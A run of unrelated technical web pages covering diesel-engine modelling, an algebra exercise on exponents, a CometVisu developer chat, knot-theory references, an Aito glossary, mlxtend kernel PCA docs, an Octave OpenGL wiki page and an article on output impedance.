{h}_{c}=3.26{D}^{-0.2}\times {P}^{0.8}\times {T}^{-0.55}\times {W}^{0.8}
W\left(\theta \right)=2.28{\overline{U}}_{p}+{C}_{1}\times \frac{{V}_{d}\times {T}_{a}}{{P}_{a}\times {V}_{a}}\left(P\left(\theta \right)-{P}_{m}\right)
{C}_{1}=0
{C}_{1}=0.00324
{\overline{U}}_{p}=\frac{N\times S}{30}
{C}_{1}
A\left(\theta \right)
A\left(\theta \right)=\left(\pi \times \frac{{D}^{2}}{2}\right)+\pi \times D\times \frac{L}{2}\left(\lambda +1-\mathrm{cos}\theta -\sqrt{{\lambda }^{2}-{\mathrm{sin}}^{2}\left(\theta \right)}\right)
{Q}_{net}
{x}_{b}=1-\mathrm{exp}\left[-a{\left(\frac{\theta -{\theta }_{0}}{\Delta \theta }\right)}^{m+1}\right]
\frac{\text{d}{x}_{b}}{\text{d}\theta }=\frac{1}{\Delta \theta }{a}_{v}\left({m}_{v}+1\right){\left(\frac{\theta -{\theta }_{0}}{\Delta \theta }\right)}^{{m}_{v}}\mathrm{exp}\left(-{a}_{v}{\left(\frac{\theta -{\theta }_{0}}{\Delta \theta }\right)}^{{m}_{v}+1}\right)
{x}_{b}=1-\mathrm{exp}\left(-{a}_{v}{\left(\frac{\theta -{\theta }_{0}}{\Delta \theta }\right)}^{{m}_{v}+1}\right)
{a}_{v}
{m}_{v}
{m}_{v}=0.7
{a}_{v}=5
{T}_{p}=400\text{\hspace{0.17em}}K
Legue, D.R.K., Obounou, M., Henri, E.F., Ayissi, Z.M., Babikir, M.H. and Ehawe, I. (2019) Numerical Analysis of the Compression Ratio’s Influence, the Nature of the Fuel and the Injection Feed on the Cylinder Pressure. Energy and Power Engineering, 11, 249-258. https://doi.org/10.4236/epe.2019.116016
1. Mohamed, F., Al-Dawody and Bhatti, S.K. (2014) Experimental and Computational Investigation for Combustion, Performance and Emission Parameters of a Diesel Engine Fueled with Soybean Biodiesel-Diesel Blends. Energy Procedia, 52, 421-430. https://doi.org/10.1016/j.egypro.2014.07.094
2. Heywood, J.B. (1988) Internal Combustion Engines Fundamentals. McGraw Hill, Pennsylvania.
3. Labeckas, G. and Slavinskas, S. (2006) The Effect of Rapeseed Oil Methyl Ester on Direct Injection Diesel Engine Performance and Exhaust Emissions. Energy Conversion and Management, 47, 1954-1967. https://doi.org/10.1016/j.enconman.2005.09.003
4. Gokalp, B., Buyukkaya, E. and Soyhan, H.S. (2011) Performance and Emissions of a Diesel Tractor Engine Fueled with Marine Diesel and Soybean Methyl Ester. International Journal of Biomass and Bioenergy, 35, 3575-3583. https://doi.org/10.1016/j.biombioe.2011.05.015
5. Buyukkaya, E. (2010) Effects of Biodiesel on a DI Diesel Engine Performance, Emission and Combustion Characteristics. Fuel, 99, 3099-3105. https://doi.org/10.1016/j.fuel.2010.05.034
6. Samanta, A., Das, S. and Roy, P.C. (2016) Performance Analysis of a Biogas Engine. International Journal of Research in Engineering and Technology, 5, 67-71. https://doi.org/10.15623/ijret.2016.0513012
7. Samanta, A., Das, S. and Roy, P.C. (2016) Modeling of Compression Engines Using Biodiesel as Fuel. International Journal of Research in Engineering and Technology, 5, 72-77. https://doi.org/10.15623/ijret.2016.0513013
8. Ngayihi Abbe, C.V. (2013) Simulation of a DI Diesel Engine Performance Fuelled on Biodiesel Using a Semi-Empirical 0D Model. Energy and Power Engineering, 5, 596-603. https://doi.org/10.4236/epe.2013.510066
9. Grondin, O. (2004) Modélisation du moteur à allumage par compression dans la perspective du controle et du diagnostic.
10. Aklouche, F.Z. (2018) Etude caractéristique et développement de la combustion des moteurs Diesel en mode Dual-Fuel: Optimisation de l’injection du combustible pilote. Thermique, Ecole nationale supérieure Mines-Télécom Atlantique.
11. Kerihuel, A., Senthil, K.M., Bellettre, J. and Tazerout, M. (2005) Use of Animal Fats as CI Engine Fuel by Making Stable Emulsions with Water and Methanol. Fuel, 84, 1713-1716.
12. Sun, L., Liu, Y.F., Zeng, K., Yang, R. and Hang, Z.H. (2015) Combustion Performance and Stability of a Dual-Fuel Diesel-Natural-Gas Engine. Proceeding of Institution of Mechanical Engineering, Part D: Journal of Automobile Engineering, 229, 235-246. https://doi.org/10.1177/0954407014537814
13. Raheman, H. and Ghadge, S. (2008) Performance of Diesel Engine with Biodiesel at Varying Compression Ratio and Ignition Timing. Fuel, 87, 2659-2666. https://doi.org/10.1016/j.fuel.2008.03.006
14. Tarabet, L. (2012) Etude de la combustion d’un biocarburant innovant dans les moteurs à combustion interne de véhicules. Thèse, Ecole des Mines de Nantes, Nantes.
15. Merlin, A.Z., et al. (2015) Development and Experimental Investigation of a Biodiesel from a Nonedible Woody Plant: The Neem. Renewable and Sustainable Energy Reviews, 52, 201-208.
16. Rostami, S. (2014) Effect of the Injection Timing on the Performance of a Diesel Engine Using Diesel-Biodiesel Blends. International Journal of Automotive and Mechanical Engineering, 10, 1945-1958. https://doi.org/10.15282/ijame.10.2014.12.0163
\theta
\Delta \theta
{\theta }_{0}
{c}_{v}
{h}_{c}
A\left(\theta \right)
\omega
{\overline{U}}_{p}
|
Decide which of the following pairs of expressions are equivalent. For those that are not equivalent, determine if there are any values of the variables that would make them equal (in other words, determine if they are sometimes equal). Justify each of your decisions thoroughly.
\left(3x^{2}y\right)^{3} \text{ and } 3x^{6}y ^{3}
\left(3x^{2}y\right)^{3} \text{ and } 27x^{6}y ^{3}
\left(3x^{2}y\right)^{3} \text{ and } 27x^{5}y ^{4}
\left(3xy\right)^{3} \text{ and } 27x^{5}y^{3}
First, remember that the
3
is also being cubed.
Remember what happens when a squared variable is being put to a power.
Only the expressions in part (b) are equivalent.
Think about numbers like
0
1
The expressions in part (a) are equivalent only when
x = 0
y = 0
The expressions in part (c) are equivalent when both
x
y
1
or when one of the variables is
0
|
CometVisu/CometVisu - Gitter
CometVisu/CometVisu
matthias-mw synchronize #803
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Deploy to GitHub Pages: 4810cb5… (compare)
ChristianMayer commented #625
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fix refreshing fix upnp controller to handle r… sedn initial request event when… and 2 more (compare)
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peuter commented #806
Welcome to the CometVisu-Gitter developer chat
testing issue referencing #336
@ChristianMayer
@peuter Reply test
Other test text
f(x)=x^2 -y_1 + y_2 - \text{d}x
LaTeX Test :)
Hm, just created an issue on github. Usually it should be shown here on the right side (Activity). It seems that it needs some additional configuration, thought it would work out of the box.
Well, #336 referencing did work above.
But now I've replied to it and that isn't mentioned here
The CometVisu settings page did't contain Gitter at the Services. I've added it right now - let's see whether that helps
no, strange
Ahh now I see something.
yes, not it seem to get started
I guess we were a little bit to impatient ;-)
dunno, I just readded the token to the CV setup
I just invited everyone from the contributers list: https://github.com/CometVisu/CometVisu/graphs/contributors to join this room
I've just started gh-pages so that in the future we might get a beautiful start page (the real content can stay in the MediaWiki)
but I'm still a bit lost there...
I never really used gh-pages, so I can't really help you there. I just created a demo page once but that's all.
The page is already here (http://cometvisu.github.io/CometVisu/ - domain stuff can be easily fixed later, let it get running first...)
but the point is to get a page that it beautiful but still simple to maintain
so I'm looking at getting Jekyll to run as I hope that it helps
OK, it's getting too complicated for me for now. I'm giving up
It seems that the invitation did not work, or no one is interested in joining the chat.
Probably we should advertise it in the forum first before we discard it
btw, channel #cometvisu on freenode is also extremely quiet...
but I keep it open as "kein Brot frisst" ;)
@joltcoke
hey @peuter , quick (we'll see ;-)) question: I'm using mysql to persist my items in openHAB. Strategy is set to onChange, so unlike to rrd i only have records if the item really changed. When showing one of the rather stable items (not changing frequently) this looks a bit odd in the diagram, since often the beginning and end of the curves start/end somewhere in the middle of the diagram. This is because the is no matching event.
I'm wondering how to fix / workaround this issue. Ideally somewhere the whole tech stack could figure out if there is an event preceding the start point of the curve and add a fake event right on the start timestamp. If there is no event past the end date in the persistence storage, the last known value is still the most recent one and a fake entry with that value should be added and the endTimestamp. I hope you get what i have in mind.
Not really, could you add a screenshot here?
The red line cuts out in the middle, reason is that the last value change was at 19:20
Since the strategy is onChance, we know that the value from 19:20 must be still valid for 21:10 (the end of the diagram), otherwise there would be a more recent value
Ideally the system would add a fake event in the result for 21:10 containing the last known value from 19:20
OK now I think I got it. From my point of view, this problem should be solved in the chart library, e.g. draw a flat line to the right end of the chart if there is no data. The data itself should not be manipulated. I am not really familiar with the charting engine used in the CometVisu (I think its flot?), maybe there is some kind of config option which does that.
This can be done for the end of the graph, however the same problem applies to the beginning. Since we're only getting all event > startTime and < endTime sometime the graph starts in the middle.
there is now way to guess the preceding value, which could be anything, drawing a flat line from the first known value to the left is certainly wrong
Adding a fake point somewhere at the beginning is wrong to. I don't see a feasible solution to fill the left side of the chart (and IMHO I don't really see a problem here, ok its not nice but better that faking something which might lead to a chart that does not show the reality).
To get the proper value you need to query the persistence storage again, this time with endTime=<startTime of diagram> count=1 order=desc
this should give the the last known value right before the startTime
This probably needs to be handled in the backend on the oh side of things
Yes but then you have at least one dataseries with a value before the requested startTime, wouldn't that lead the chart to augment to the right side and all other series would not not start at the first timestamp? The other problem is that you cannot query openHABs persistance service like an SQL Database it uses an own abstraction layer for the query. I don't know if a query like your suggestion is possible there, might be but not for sure.
@ChristianMayer I just added the svgmin task to the switch_icon_to_svg branch (from PR #345 ) which decreases the size to 3,7 MB. But how can I test if it did not break the icons? Is there any overview page where all icons can be shown?
http://<IP>/visu/icon/knx-uf-iconset/showicons.php
not sure if that still works with the svg versions
Nope thats for the PNG icons
We can try to continue on https://gitter.im/CometVisu/CometVisu_DE?source=orgpage ...
Where did you add the svgmin task? I can't see a commit on the branch
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Brendan Owens1
1 School of Mathematics and Statistics,University of Glasgow, Glasgow, G12 8SQ, United Kingdom
corrected-by Corrigendum to Knots and 4-manifolds
Brendan Owens 1
author = {Brendan Owens},
title = {Knots and 4-manifolds},
TI - Knots and 4-manifolds
%T Knots and 4-manifolds
Brendan Owens. Knots and 4-manifolds. Winter Braids Lecture Notes, Volume 6 (2019), Talk no. 2, 26 p. doi : 10.5802/wbln.28. https://wbln.centre-mersenne.org/articles/10.5802/wbln.28/
[1] Tetsuya Abe and Motoo Tange, A construction of slice knots via annulus twists, Michigan Math. J. 65 (2016), no. 3, 573–597. | Article | MR: 3542767 | Zbl: 1351.57003
[2] Selman Akbulut, 4-manifolds, Oxford Graduate Texts in Mathematics, vol. 25, Oxford University Press, Oxford, 2016.
[3] Selman Akbulut and Robion Kirby, Branched covers of surfaces in
4
-manifolds, Math. Ann. 252 (1979/80), no. 2, 111–131. | Article | MR: 593626 | Zbl: 0421.57002
[4] A. J. Casson and C. McA. Gordon, On slice knots in dimension three, Algebraic and geometric topology (Proc. Sympos. Pure Math., Stanford Univ., Stanford, Calif., 1976), Part 2, Proc. Sympos. Pure Math., XXXII, Amer. Math. Soc., Providence, R.I., 1978, pp. 39–53. | Article
[5] J. C. Cha and C. Livingston, Table of knot invariants, http://www.indiana.edu/~knotinfo.
[6] Anthony Conway and Mark Powell, Characterisation of homotopy ribbon discs, arXiv:1902.05321.
[7] Richard H. Crowell, Nonalternating links, Illinois J. Math. 3 (1959), 101–120. | Article | MR: 99667 | Zbl: 0119.38802
[8] Andrew Donald and Brendan Owens, Concordance groups of links, Algebr. Geom. Topol. 12 (2012), no. 4, 2069–2093. | Article | MR: 3020201 | Zbl: 1266.57005
[9] S. K. Donaldson, The orientation of Yang-Mills moduli spaces and
4
-manifold topology, J. Differential Geom. 26 (1987), no. 3, 397–428. | Article | MR: 910015 | Zbl: 0683.57005
[10] O. Flint, S. Rankin, and P. de Vries, Prime alternating knot generator, http://www-home.math.uwo.ca/~srankin/papers/knots/pakg.html, 2003.
[11] R. H. Fox, A quick trip through knot theory, Topology of 3-manifolds and related topics (Proc. The Univ. of Georgia Institute, 1961), Prentice-Hall, Englewood Cliffs, N.J., 1962, pp. 120–167.
[12] Michael H. Freedman and Frank Quinn, Topology of 4-manifolds, Princeton Mathematical Series, vol. 39, Princeton University Press, Princeton, NJ, 1990. | Zbl: 0705.57001
[13] Michael Hartley Freedman, The topology of four-dimensional manifolds, J. Differential Geometry 17 (1982), no. 3, 357–453. | Article | MR: 679066 | Zbl: 0528.57011
[14] Stefan Friedl, Matthias Nagel, Patrick Orson, and Mark Powell, A survey of the foundations of 4-manifold theory in the topological category, arXiv:1910.07372.
[15] David Gabai, Genus is superadditive under band connected sum, Topology 26 (1987), no. 2, 209–210. | Article | MR: 895573 | Zbl: 0621.57004
[16] Semyon Aranovich Gershgorin, Über die Abgrenzung der Eigenwerte einer Matrix, Izv. Akad. Nauk. USSR Otd. Fiz.-Mat. Nauk 6 (1931), 749–754. | Zbl: 0003.00102
[17] L. Goeritz, Knoten und quadratische Formen, Math. Z. 36 (1933), no. 1, 647–654. | Article | MR: 1545364 | Zbl: 0006.42201
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[24] Matthew Hedden and Miriam Kuzbary, A link concordance group from knots in connected sums of
{S}^{1}×{S}^{2}
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Aito.ai - Glossary
Common glossary used in our documentation.
P(H|E) = \frac{P(E|H) * P(H)}{P(E)}
H stands for any hypothesis whose probability may be affected by the data (called evidence below)
E stands for any evidence or known data.
P(H|E) , the posterior probability, is the estimated probability of a hypothesis given the observed evidence.
P(E|H), the likelihood, is the estimated probability of observing evidence E given the hypothesis H is true.
P(H), the prior probability, is the estimated probability of the hypothesis H before the evidence E is observed.
P(E), the marginal likelihood, is the estimated probability that the evidence E is true.
Let's take a look at an example: Predict the genre of a game given its description . Given the game "Cities:Skylines" description: "Cities: Skylines is a city-building game developed by Colossal Order and published by Paradox Interactive. Players engage in urban planning by controlling zoning, road placement, taxation, public services, and public transportation of an area". This will be the evidence. There are 5 available genres: "Action", "Fighting", "Puzzle", "Simulation", and "Strategy". This is the hypotheses. We can use Bayesian Inference to solve our problem by finding the probability of each genres given the description evidence. For example, with the "Action" genre:
P(Action|Cities: Skylines) = \frac{P(Cities: Skylines|Actions) * P(Actions)}{P(Cities: Skylines)}
In aito, the likelihood P("Cities:Skylines..." | Action) is estimated by by breaking down the description into features and uses these features as multiple evidences for the inference.
The Bayesian can be translated to aito query by the following formula:
For instance, we can ask aito to solve the predicting genre problem by using the MATCH API, asumming that we have a game data table with field description and genere :
"description": {"$match": "Cities: Skylines is a city-building game developed by Colossal Order and published by Paradox Interactive. Players engage in urban planning by controlling zoning, road placement, taxation, public services, and public transportation of an area"}
To make better analysis of the data, Aito splits fields into features under the hood. How the featurisation is done, depends on the field type defined in the database schema. For example the Text type supports an "analyzer" option which allows you to control how a text field is splitted into features.
Some queries, for example Relate, return the features instead of the actual values of the field.
Textual feature splitting
If defined as String, the textual data is kept as it is and is not featurized. The whole textual data is counted as a singular feature.
If defined as Text with "analyzer": "Whitespace":
Split the text into features by white space
"aito database" -> 2 features: "aito", "database"
If defined as Text with "analyzer": "English":
Analyzer the text into stems by English
"aito database" -> 2 features: "aito", "databas"
Lift is a ratio that measures the performance of a feature as having enhanced or diminished response, measured against the average for the population. For example, a population has an average risk of having lung cancer at 1%, but people who smoke among that population have a risk at 50%, then smoking would have a lift of 50 (50/1). Lift can be interpreted in that population, smoking can increase the risk of having lung cancer by 50 times. The lift is calculated by the following formula:
lift = \frac{P(A\cap B)}{P(A) * P(B)}
Aito uses term frequency-inverse document frequency tf-idf for scoring. In short, tf-idf is a numerical statistic that combines term frequency which is the number of times a term occurs in a document, and inverse document frequency which is a measure of how much information a term provides.
Note: This is different from typo and synonym suggestion. We are planning to add these features to the similarity API soon.
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RBFKernelPCA - mlxtend
RBFKernelPCA: RBF kernel principal component analysis
RBF kernel PCA step-by-step
Example 1 - Half-moon shapes
Example 2 - Concentric circles
Implementation of RBF Kernel Principal Component Analysis for non-linear dimensionality reduction
from mlxtend.feature_extraction import RBFKernelPCA
The focus of this overview is to briefly introduce the idea of kernel methods and to implement a Gaussian radius basis function (RBF) kernel that is used to perform nonlinear dimensionality reduction via BF kernel principal component analysis (kPCA).
For more details, please see the related article on mlxtend.feature_extraction.PrincipalComponentAnalysis.
The basic idea to deal with linearly inseparable data is to project it onto a higher dimensional space where it becomes linearly separable. Let us call this nonlinear mapping function
\phi
so that the mapping of a sample
\mathbf{x}
\mathbf{x} \rightarrow \phi (\mathbf{x})
, which is called "kernel function."
Now, the term "kernel" describes a function that calculates the dot product of the images of the samples
\mathbf{x}
\phi
In other words, the function
\phi
maps the original d-dimensional features into a larger, k-dimensional feature space by creating nononlinear combinations of the original features. For example, if
\mathbf{x}
consists of 2 features:
\mathbf{1_N}
is (like the kernel matrix) a
N\times N
matrix with all values equal to
\frac{1}{N}
Remember, when we computed the eigenvectors
\mathbf{\alpha}
of the centered kernel matrix, those values were actually already the projected datapoints onto the principal component axis
\mathbf{g}
If we want to project a new data point
\mathbf{x}
onto this principal component axis, we'd need to compute
\phi(\mathbf{x})^T \mathbf{g}
Fortunately, also here, we don't have to compute
\phi(\mathbf{x})^T \mathbf{g}
explicitely but use the kernel trick to calculate the RBF kernel between the new data point and every data point
j
in the training dataset:
and the eigenvectors
\alpha
\lambda
of the Kernel matrix
\mathbf{K}
\mathbf{K} \alpha = \lambda \alpha
, we just need to normalize the eigenvector by the corresponding eigenvalue.
plt.scatter(X[y==0, 0], X[y==0, 1],
color='red', marker='o', alpha=0.5)
color='blue', marker='^', alpha=0.5)
Since the two half-moon shapes are linearly inseparable, we expect that the “classic” PCA will fail to give us a “good” representation of the data in 1D space. Let us use PCA class to perform the dimensionality reduction.
from mlxtend.feature_extraction import PrincipalComponentAnalysis as PCA
X_pca = pca.fit(X).transform(X)
plt.scatter(X_pca[y==0, 0], X_pca[y==0, 1],
Next, we will perform dimensionality reduction via RBF kernel PCA on our half-moon data. The choice of
\gamma
depends on the dataset and can be obtained via hyperparameter tuning techniques like Grid Search. Hyperparameter tuning is a broad topic itself, and here I will just use a
\gamma
-value that I found to produce “good” results.
from mlxtend.preprocessing import standardize
from mlxtend.feature_extraction import RBFKernelPCA as KPCA
kpca = KPCA(gamma=15.0, n_components=2)
kpca.fit(X)
X_kpca = kpca.X_projected_
Please note that the components of kernel methods such as RBF kernel PCA already represent the projected data points (in contrast to PCA, where the component axis are the "top k" eigenvectors thar are used to contruct a projection matrix, which is then used to transform the training samples). Thus, the projected training set is available after fitting via the .X_projected_ attribute.
The new feature space is linearly separable now. Since we are often interested in dimensionality reduction, let's have a look at the first component only.
plt.scatter(X_kpca[y==0, 0], np.zeros((25, 1)),
We can clearly see that the projection via RBF kernel PCA yielded a subspace where the classes are separated well. Such a subspace can then be used as input for generalized linear classification models, e.g., logistic regression.
Finally, via the transform method, we can project new data onto the new component axes.
X2, y2 = make_moons(n_samples=200, random_state=5)
X2_kpca = kpca.transform(X2)
color='red', marker='o', alpha=0.5, label='fit data')
color='blue', marker='^', alpha=0.5, label='fit data')
plt.scatter(X2_kpca[y2==0, 0], X2_kpca[y2==0, 1],
color='orange', marker='v',
alpha=0.2, label='new data')
color='cyan', marker='s',
Following the concepts explained in example 1, let's have a look at another classic case: 2 concentric circles with random noise produced by scikit-learn’s make_circles.
X, y = make_circles(n_samples=1000, random_state=123,
noise=0.1, factor=0.2)
plt.scatter(X_kpca[y==0, 0], np.zeros((500, 1)),
RBFKernelPCA(gamma=15.0, n_components=None, copy_X=True)
RBF Kernel Principal Component Analysis for dimensionality reduction.
gamma : float (default: 15.0)
Free parameter (coefficient) of the RBF kernel.
n_components : int (default: None)
The number of principal components for transformation. Keeps the original dimensions of the dataset if None.
copy_X : bool (default: True)
Copies training data, which is required to compute the projection of new data via the transform method. Uses a reference to X if False.
e_vals_ : array-like, shape=[n_features]
Eigenvalues in sorted order.
e_vecs_ : array-like, shape=[n_features]
Eigenvectors in sorted order.
X_projected_ : array-like, shape=[n_samples, n_components]
Training samples projected along the component axes.
For usage examples, please see http://rasbt.github.io/mlxtend/user_guide/feature_extraction/RBFKernelPCA/
Learn model from training data.
Apply the non-linear transformation on X.
X_projected : np.ndarray, shape = [n_samples, n_components]
Projected training vectors.
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User:Hg200 - Octave
User:Hg200
Revision as of 14:04, 4 January 2021 by Hg200 (talk | contribs)
1 OpenGL coordinate systems
2 The Octave coordinate system
3 update_camera()
3.1 The role of "x_gl_mat1"
3.1.1 x_view
3.1.2 x_gl_mat1
3.2.2 x_projection
3.2.3 x_viewport
4 setup_opengl_transformation ()
4.1 OpenGL backend
OpenGL coordinate systems[edit]
In the Octave plotting backend, we find various OpenGL transformations. Some of the classic OpenGL transformation steps, as well as coordinate systems, are shown in the following picture:
The Octave coordinate system[edit]
In Octave a plot scene is defined by a "view point", a "camera target" and an "up vector".
update_camera()[edit]
In the second part of
{\textstyle \rightarrow }
"axes::properties::update_camera ()" the view transformation "x_gl_mat1" and projection matrix "x_gl_mat2" are put together. The following chapter illustrates some of the properties of "x_gl_mat1" and "x_gl_mat2".
The role of "x_gl_mat1"[edit]
x_view[edit]
The following section of code composes the matrix "x_view", which is a major subset of "x_gl_mat1". The matrix "x_gl_mat1" consists of multiple translations, scales and one rotation operation. The individual operation steps are shown in a picture below.
Code: Section of axes::properties::update_camera ()"
// Unit length vector for direction of view "f" and up vector "UP"
ColumnVector F (c_center), f (F), UP (c_upv);
normalize (f);
normalize (UP);
// Scale "UP" vector, so that norm(f x UP) becomes 1
if (std::abs (dot (f, UP)) > 1e-15)
double fa = 1 / sqrt (1 - f(2)*f(2));
scale (UP, fa, fa, fa);
// Calculate the vector rejection UP onto f
// s, f and u are used to assemble the rotation matrix l
ColumnVector s = cross (f, UP);
ColumnVector u = cross (s, f);
// Construct a 4x4 matrix "x_view" that is a subset of "x_gl_mat1"
// Start with identity I = [1,0,0,0; 0,1,0,0; 0,0,1,0; 0,0,0,1]
Matrix x_view = xform_matrix ();
// Step #7 -> #8
scale (x_view, 1, 1, -1);
Matrix l = xform_matrix ();
l(0,0) = s(0); l(0,1) = s(1); l(0,2) = s(2);
l(1,0) = u(0); l(1,1) = u(1); l(1,2) = u(2);
l(2,0) = -f(0); l(2,1) = -f(1); l(2,2) = -f(2);
// Step #6 -> #7 (rotate on the Z axis)
x_view = x_view * l;
translate (x_view, -c_eye(0), -c_eye(1), -c_eye(2));
scale (x_view, pb(0), pb(1), pb(2));
translate (x_view, -0.5, -0.5, -0.5);
x_gl_mat1[edit]
To visualize the matrix properties, the "x_gl_mat1" matrix is multiplied by the object coordinates. After the transformation, the plot box is aligned with the Z-axis and the view point is at the origin
{\textstyle [0,0,0]}
. The matrix transforms world coordinates into camera coordinates. The purple planes show the near and far clipping planes.
The individual translation, scaling and rotation operations of "x_gl_mat1", are shown in the following figure:
Bounding box[edit]
The matrix "x_gl_mat2" is composed of the sub matrices "x_viewport" and "x_projection". The purpose of these matrices is to fit the associated 2D image of the above transformation result into a "bounding box". The bounding box is defined as follows:
bb(0), bb(1): Position of the "viewport"
bb(2), bb(3): Width and height of the "viewport"
Hint: If you debug in "update_camera ()", you can print "bb":
(gdb) print *bb.rep.data@bb.rep.len
(gdb) $1 = {72.79, 31.50, 434, 342.29}
Compare the result with the output on the Octave prompt:
hax = axes ();
get (hax, "position")
ans = 73.80 47.20 434.00 342.30
get (gcf, 'position')
ans = 22 300 560 420
Where 420 - 342.30 - 31.5 + 1 = 47.20
x_projection[edit]
In the following simplified code section the matrix "x_projection" is composed. It is used to normalize the image of the above transformation. For this purpose, the field of view (FOV) must be calculated:
if (cameraviewanglemode_is ("auto"))
if ((bb(2)/bb(3)) > (xM/yM))
// When the image is scaled to the size of the bounding box,
// the height collides with the bounding box first. Therefore,
// the camera view angle is defined by the image height yM.
af = 1.0 / yM;
// The image width collides with the bounding box.
af = 1.0 / xM;
// The view angle "v_angle", also called field of view "FOV",
// is formed by the hypotenuse and the adjacent side, which is given by
// the distance between the view point and the camera target "norm (F)".
// The ratio of the opposite side, given by "af", to the adjacent side in
// a right-angled triangle is the tangent of the view angle.
v_angle = 2 * (180.0 / M_PI) * atan (1 / (2 * af * norm (F)));
cameraviewangle = v_angle;
v_angle = get_cameraviewangle ();
// x_projection: identity "diag([1, 1, 1, 1])"
Matrix x_projection = xform_matrix ();
// Calculate backwards from the angle to the ratio. This step
// is necessary because "v_angle" can be set manually.
double pf = 1 / (2 * tan ((v_angle / 2) * M_PI / 180.0) * norm (F));
// Normalize to one. Resulting coordinates are "normalized device coordinates".
scale (x_projection, pf, pf, 1);
x_viewport[edit]
"x_viewport" is a transformation used to place the previously "normalized" plot box in the center and to fit it tightly into the bounding box:
double pix = 1;
if (autocam)
pix = bb(3);
pix = (bb(2) < bb(3) ? bb(2) : bb(3));
// x_viewport: identity "diag([1, 1, 1, 1])"
Matrix x_viewport = xform_matrix ();
// Move to the center of the bounding box inside the figure.
translate (x_viewport, bb(0)+bb(2)/2, bb(1)+bb(3)/2, 0);
// Scale either to width or height, to fit correctly into the bounding box
scale (x_viewport, pix, -pix, 1);
x_gl_mat2 = x_viewport * x_projection;
Note: The matrix "x_gl_mat2" scales x, y. However the z-coordinate is not modified!
setup_opengl_transformation ()[edit]
OpenGL backend[edit]
In the OpenGL backend, the view matrix, an orthographic matrix, and the viewport transform are used to transform the octave plot into the screen window.
Code: Section of opengl_renderer::setup_opengl_transformation ()"
Matrix x_zlim = props.get_transform_zlim ();
xZ1 = x_zlim(0)-(x_zlim(1)-x_zlim(0))/2;
xZ2 = x_zlim(1)+(x_zlim(1)-x_zlim(0))/2;
// Load x_gl_mat1 and x_gl_mat2
Matrix x_mat1 = props.get_opengl_matrix_1 ();
m_glfcns.glMatrixMode (GL_MODELVIEW);
m_glfcns.glLoadIdentity ();
m_glfcns.glScaled (1, 1, -1);
// Matrix x_gl_mat1
m_glfcns.glMultMatrixd (x_mat1.data ());
m_glfcns.glMatrixMode (GL_PROJECTION);
Matrix vp = get_viewport_scaled ();
// Install orthographic projection matrix with viewport
// setting "0, vp(2), vp(3), 0" and near / far values "xZ1, xZ2"
m_glfcns.glOrtho (0, vp(2), vp(3), 0, xZ1, xZ2);
m_glfcns.glClear (GL_DEPTH_BUFFER_BIT);
Hint: If you debug in "setup_opengl_transformation ()", you can print the viewport "vp":
(gdb) print *vp.rep.data@vp.rep.len
(gdb) $1 = {0, 0, 560, 420}
This is consistent with the window size.
Retrieved from "https://wiki.octave.org/wiki/index.php?title=User:Hg200&oldid=13532"
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Output_impedance Knowpia
The output impedance of an electrical network is the measure of the opposition to current flow (impedance), both static (resistance) and dynamic (reactance), into the load network being connected that is internal to the electrical source. The output impedance is a measure of the source's propensity to drop in voltage when the load draws current, the source network being the portion of the network that transmits and the load network being the portion of the network that consumes.
Because of this the output impedance is sometimes referred to as the source impedance or internal impedance.
Circuit to the left of central set of open circles models the source circuit, while circuit to the right models the connected circuit. ZS is output impedance as seen by the load, and ZL is input impedance as seen by the source.
All devices and connections have non-zero resistance and reactance, and therefore no device can be a perfect source. The output impedance is often used to model the source's response to current flow. Some portion of the device's measured output impedance may not physically exist within the device; some are artifacts that are due to the chemical, thermodynamic, or mechanical properties of the source. This impedance can be imagined as an impedance in series with an ideal voltage source, or in parallel with an ideal current source (see: Series and parallel circuits).
Sources are modeled as ideal sources (ideal meaning sources that always keep the desired value) combined with their output impedance. The output impedance is defined as this modeled and/or real impedance in series with an ideal voltage source. Mathematically, current and voltage sources can be converted to each other using Thévenin's theorem and Norton's theorem.
In the case of a nonlinear device, such as a transistor, the term "output impedance" usually refers to the effect upon a small-amplitude signal, and will vary with the bias point of the transistor, that is, with the direct current (DC) and voltage applied to the device.
The source resistance of a purely resistive device can be experimentally determined by increasingly loading the device until the voltage across the load (AC or DC) is one half of the open circuit voltage. At this point, the load resistance and internal resistance are equal.
It can more accurately be described by keeping track of the voltage vs current curves for various loads, and calculating the resistance from Ohm's law. (The internal resistance may not be the same for different types of loading or at different frequencies, especially in devices like chemical batteries.)
The generalized source impedance for a reactive (inductive or capacitive) source device is more complicated to determine, and is usually measured with specialized instruments, rather than taking many measurements by hand.
Audio amplifiersEdit
The real output impedance (ZS) of a power amplifier is usually less than 0.1 Ω, but this is rarely specified. Instead it is "hidden" within the damping factor parameter, which is:
{\displaystyle DF={\frac {Z_{\mathrm {L} }}{Z_{\mathrm {S} }}}}
Solving for ZS,
{\displaystyle Z_{\mathrm {S} }={\frac {Z_{\mathrm {L} }}{DF}}}
gives the small source impedance (output impedance) of the power amplifier. This can be calculated from the ZL of the loudspeaker (typically 2, 4, or 8 ohms) and the given value of the damping factor.
Generally in audio and hifi, the input impedance of components is several times (technically, more than 10) the output impedance of the device connected to them. This is called impedance bridging or voltage bridging.
In this case, ZL>> ZS, (in practice:) DF > 10
In video, RF, and other systems, impedances of inputs and outputs are the same. This is called impedance matching or a matched connection.
In this case, ZS = ZL, DF = 1/1 = 1 .
The actual output impedance for most devices is not the same as the rated output impedance. A power amplifier may have a rated impedance of 8 ohms, but the actual output impedance will vary depending on circuit conditions. The rated output impedance is the impedance into which the amplifier can deliver its maximum amount of power without failing.
Internal resistance is a concept that helps model the electrical consequences of the complex chemical reactions inside a battery. It is impossible to directly measure the internal resistance of a battery, but it can be calculated from current and voltage data measured from a circuit. When a load is applied to a battery, the internal resistance can be calculated from the following equations:
{\displaystyle {\begin{aligned}R_{B}&=\left({\frac {Vs}{I}}\right)-R_{L}\\&={\frac {V_{S}-V_{L}}{I}}\end{aligned}}}
{\displaystyle R_{B}}
is the internal resistance of the battery
{\displaystyle V_{S}}
is the battery voltage without a load
{\displaystyle V_{L}}
is the battery voltage with a load
{\displaystyle R_{L}}
is the total resistance of the circuit
{\displaystyle I}
is the total current supplied by the battery
Internal resistance varies with the age of a battery, but for most commercial batteries the internal resistance is on the order of 1 ohm.
When there is a current through a cell, the measured e.m.f. is lower than when there is no current delivered by the cell. The reason for this is that part of the available energy of the cell is used up to drive charges through the cell. This energy is wasted by the so-called "internal resistance" of that cell. This wasted energy shows up as lost voltage. Internal resistance is r = (E −
{\displaystyle V_{L}}
)/I .
Early effect small-signal model
